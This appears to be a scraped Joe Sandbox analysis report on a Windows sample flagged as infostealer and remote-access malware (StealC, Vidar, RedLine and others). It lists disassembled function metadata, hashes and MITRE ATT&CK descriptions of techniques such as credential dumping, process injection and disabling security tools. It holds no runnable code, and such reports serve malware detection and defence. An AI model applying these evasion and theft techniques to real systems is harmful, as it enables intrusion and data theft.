Associated: 00000012.00000002.2679676632.000000006C39C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: e90c0cf424794ef1e325121c25db6aacc5e92ae2834b53c11d8f48fe6babf119
Instruction ID: f513a9cda4cf3d183b445d0e3847a4efd77c0664b60e7f47ed75a03a1896876c
Opcode Fuzzy Hash: e90c0cf424794ef1e325121c25db6aacc5e92ae2834b53c11d8f48fe6babf119
Instruction Fuzzy Hash: 07214172604205BF9B10AF66888089AB7BDBF4536D7048619E9B597A50F732E8508FA1

Function 6C395FEA Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6C395FF2

Part of subcall function 6C395F47: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6C3980BF,?,00000000,-00000008), ref: 6C395FA8

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6C39602A
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6C39604A

Memory Dump Source

Source File: 00000012.00000002.2679579048.000000006C381000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C380000, based on PE: true

Associated: 00000012.00000002.2679534619.000000006C380000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679676632.000000006C39C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 2f715d1ed983a165de8bd86f2a935a65f076947a2a583773cc0f61c7ac3dc8d7
Instruction ID: 587ae7af0e39f8ed5e4908934f684144990d4c645e466d9e6ccb54f9d2a6f5a0
Opcode Fuzzy Hash: 2f715d1ed983a165de8bd86f2a935a65f076947a2a583773cc0f61c7ac3dc8d7
Instruction Fuzzy Hash: 5B11A1F160A515BEAB615B765CC9CEF7A7CDE8A2AD3000115F442D2700FB22CD054EF6

Function 6C399D26 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,6C3994E5,00000000,00000001,00000000,?,?,6C398A13,?,00000000,00000000), ref: 6C399D3D
GetLastError.KERNEL32(?,6C3994E5,00000000,00000001,00000000,?,?,6C398A13,?,00000000,00000000,?,?,?,6C398FB6,00000000), ref: 6C399D49

Part of subcall function 6C399D0F: CloseHandle.KERNEL32(FFFFFFFE,6C399D59,?,6C3994E5,00000000,00000001,00000000,?,?,6C398A13,?,00000000,00000000,?,?), ref: 6C399D1F

___initconout.LIBCMT ref: 6C399D59

Part of subcall function 6C399CD1: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6C399D00,6C3994D2,?,?,6C398A13,?,00000000,00000000,?), ref: 6C399CE4

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,6C3994E5,00000000,00000001,00000000,?,?,6C398A13,?,00000000,00000000,?), ref: 6C399D6E

Memory Dump Source

Source File: 00000012.00000002.2679579048.000000006C381000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C380000, based on PE: true

Associated: 00000012.00000002.2679534619.000000006C380000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679676632.000000006C39C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: d2e76206ba6209e414112965fad282871aa7e3f98e373ffc815a35e838a4bd02
Instruction ID: 32ddff1c339b8e8f95e0ce8d84a05e36d0c74bf374201564f673cc9d6953aecf
Opcode Fuzzy Hash: d2e76206ba6209e414112965fad282871aa7e3f98e373ffc815a35e838a4bd02
Instruction Fuzzy Hash: 22F0F836600218BBCF122E969C049C93E7AEB0A3A5F058010FA1D85620EA33C920DB91

Function 6C398ED4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 196fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6C398621: GetConsoleOutputCP.KERNEL32(9D037332,00000000,00000000,?), ref: 6C398684

WriteFile.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,6C396E2C,?), ref: 6C399059
GetLastError.KERNEL32(?,6C396E2C,?,6C396CBF,00000000,?,00000000,6C396CBF,?,00000000,00000000,6C3A1AE0,0000002C,6C396D30,?), ref: 6C399063

Strings

,n9l, xrefs: 6C398FDB, 6C399084

Memory Dump Source

Source File: 00000012.00000002.2679579048.000000006C381000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C380000, based on PE: true

Associated: 00000012.00000002.2679534619.000000006C380000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679676632.000000006C39C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID: ,n9l
API String ID: 2915228174-3278473593
Opcode ID: d816911dbda051e7b207a49b602ac79a073d41e50a0d9ac6b4350b4e7441e11b
Instruction ID: 06fb6e66f41caa0937411f1910d9efeafc4dae6cfd4876ff5718204752f7c51b
Opcode Fuzzy Hash: d816911dbda051e7b207a49b602ac79a073d41e50a0d9ac6b4350b4e7441e11b
Instruction Fuzzy Hash: 8D61A572904219AFDF01CFA8D840EEEBBB9AF49308F144146E929A7751E337D905CF61

Function 6C391FAF Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 6C391FD4

Strings

MOC, xrefs: 6C391FE6
RCC, xrefs: 6C391FEE

Memory Dump Source

Source File: 00000012.00000002.2679579048.000000006C381000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C380000, based on PE: true

Associated: 00000012.00000002.2679534619.000000006C380000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679676632.000000006C39C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: e5d451e4b70f7c21a57d98515bb1e0704a2d9dfd1bb98c9f98c72c0d1bb53826
Instruction ID: 7bf77621f7a323354777d2317d04aae64e52bf3092201ab74a98b1d54622b93d
Opcode Fuzzy Hash: e5d451e4b70f7c21a57d98515bb1e0704a2d9dfd1bb98c9f98c72c0d1bb53826
Instruction Fuzzy Hash: 40413772A00609AFDF05CF94CE84AEEBBB5FF48308F148159F914A7661E3369950DF51

Function 6C3A35E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C3A3618
__aulldiv.LIBCMT ref: 6C3A3626

Strings

@, xrefs: 6C3A35F3

Memory Dump Source

Source File: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmp, Offset: 6C3A3000, based on PE: true

Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: @
API String ID: 3732870572-2766056989
Opcode ID: 332fc9f0ae59478ff963c3a5f00b6f38d21dad295a41243ed23b13627e7b5e8c
Instruction ID: 54b106d773655ab919b1f4275601a8432155acc1bdad8d7d8bb68a89d54c8460
Opcode Fuzzy Hash: 332fc9f0ae59478ff963c3a5f00b6f38d21dad295a41243ed23b13627e7b5e8c
Instruction Fuzzy Hash: 1B014BB0944208EBEB10DBD0DD89B8DBB78EF14719F208058E7057B6A4C77495568F6A

Function 6C3B9D10 Relevance: 5.1, Strings: 4, Instructions: 73COMMON

Download Yara Rule

Strings

t`b[b, xrefs: 6C3B9D4A, 6C3B9D5C
[b, xrefs: 6C3B9DA9, 6C3B9DAC
`p;l, xrefs: 6C3B9DB0
[b, xrefs: 6C3B9D29, 6C3B9D3E

Memory Dump Source

Source File: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmp, Offset: 6C3A3000, based on PE: true

Associated: 00000012.00000002.2679727829.000000006C3CB000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000012.00000002.2679887973.000000006C3CD000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6c380000_hello.jbxd

Yara matches

Similarity

API ID:
String ID: `p;l$t`b[b$[b$[b
API String ID: 0-1998222061
Opcode ID: 40b7d29836f46449834c0e89ea26883cfb92d7d98d44e93668679733dc60ea3f
Instruction ID: 3f8581dfb120b1c1d06d87167974e1e2ee9edef13cb3c2399d04e9fcf74f7680
Opcode Fuzzy Hash: 40b7d29836f46449834c0e89ea26883cfb92d7d98d44e93668679733dc60ea3f
Instruction Fuzzy Hash: 2F31DA74E04209DFCB04CF99C890AAEBBB5FF58309F10819DE815ABB55D331AA91CF90

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report mlk3kK6uLZ.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Threatname: Quasar

Threatname: Amadey

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Windows Analysis Report
mlk3kK6uLZ.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre